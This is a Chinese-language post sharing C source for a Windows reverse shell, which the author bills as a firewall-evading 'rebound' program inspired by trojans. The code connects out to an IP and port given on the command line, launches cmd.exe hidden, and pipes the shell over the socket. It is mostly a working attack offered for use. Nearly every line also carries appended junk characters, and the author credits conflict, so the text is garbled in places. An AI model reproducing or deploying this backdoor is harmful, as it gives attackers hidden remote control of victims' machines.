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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Ly-}HW(  
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/* ============================== `sLD>@m  
Rebound port in Windows NT f;%=S:3  
By wind,2006/7 A~ @x8  
===============================*/ bo-lT-I  
#include %$&_!  
#include #2dH2k\F  
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#pragma comment(lib,"wsock32.lib") K*P:FCz  
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void OutputShell(); S@ @#L  
SOCKET sClient; }2''}-Nc  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Ce:w^P+  
9*S9~  
void main(int argc,char **argv) b"y4-KV  
{ +' SG$<Xv  
WSADATA stWsaData; GE*%I1?]  
int nRet; VKcVwq  
SOCKADDR_IN stSaiClient,stSaiServer; X`A+/{ H  
g*;z V i  
if(argc != 3) - WQ)rz  
{ m[nrr6 G"  
printf("Useage:\n\rRebound DestIP DestPort\n"); 32p9(HQ  
return; A3.*d:A  
} 0.&-1pw  
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WSAStartup(MAKEWORD(2,2),&stWsaData); {$I1(DYN  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #kgLdd"  
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stSaiClient.sin_family = AF_INET; T%yGSk  
stSaiClient.sin_port = htons(0); '>GPk5Nq77  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); L|p+;ex  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) O f]/tdPp  
{ }J6 y NoXu  
printf("Bind Socket Failed!\n"); +o]J0Gu  
return; |<JBoE]3B  
} [&)*jc16  
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stSaiServer.sin_family = AF_INET; aWY#gI{  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); n2Y a'YF  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); [*g'Y;W  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) !1#=j;N`  
{ TiKfIv  
printf("Connect Error!"); Hq|{Nt%Q  
return; x_- SAyH  
} C_&ZQlgQ  
OutputShell(); 7*r!-$  
} 1aezlDc*  
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void OutputShell() t\O#5mo  
{ @%8$k[  
char szBuff[1024]; k/i&e~! \  
SECURITY_ATTRIBUTES stSecurityAttributes; oGL2uQXX  
OSVERSIONINFO stOsversionInfo; >gDKkeLD  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 6%MM)Vj+u  
STARTUPINFO stStartupInfo; PJAM_K;  
char *szShell; dvLL~VP  
PROCESS_INFORMATION stProcessInformation; > 0c g  
unsigned long lBytesRead; ->W rBO  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); p+CK+m   
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); tcD5"ALJ  
stSecurityAttributes.lpSecurityDescriptor = 0; ZeH=]G4Zv7  
stSecurityAttributes.bInheritHandle = TRUE; B3p79 j  
q*}$1 zb  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Q 822 #  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);  dK]#..  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); C\* 0621  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GK{~n  
stStartupInfo.wShowWindow = SW_HIDE; HFX,EE  
stStartupInfo.hStdInput = hReadPipe; 0+k=gO  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ooj^Z%9P  
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GetVersionEx(&stOsversionInfo); eY_BECJ+OO  
w +HKvOs5c  
switch(stOsversionInfo.dwPlatformId) /U="~{*-R  
{ {<Xl57w-Q  
case 1: c#a>> V  
szShell = "command.com"; Efu/v<  
break; wvH*<,8V q  
default: x";4)u=  
szShell = "cmd.exe"; uk3PoB^>  
break; ?$=Ml$  
} lN7YU-ygz  
C <H$}f  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ! ~+mf^D  
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send(sClient,szMsg,77,0); d V3R)  
while(1) `)M&^Z=D  
{ ~'LoIv20j)  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ES5a`"H  
if(lBytesRead) 4TcW%  
{ jtPHk*>^wu  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); JiGS[tR  
send(sClient,szBuff,lBytesRead,0); :~~\{fm  
} BUXlHh%<R  
else QLZ%m$Z  
{ 1Ch0O__2L  
lBytesRead=recv(sClient,szBuff,1024,0); 6}:(m#+  
if(lBytesRead<=0) break; `LJ.NY pP  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); P]4@|u;=6[  
} ]"i^ VVw  
} VKy3tW/_&  
dDqT#N?Y  
return; F#|mN0op  
}
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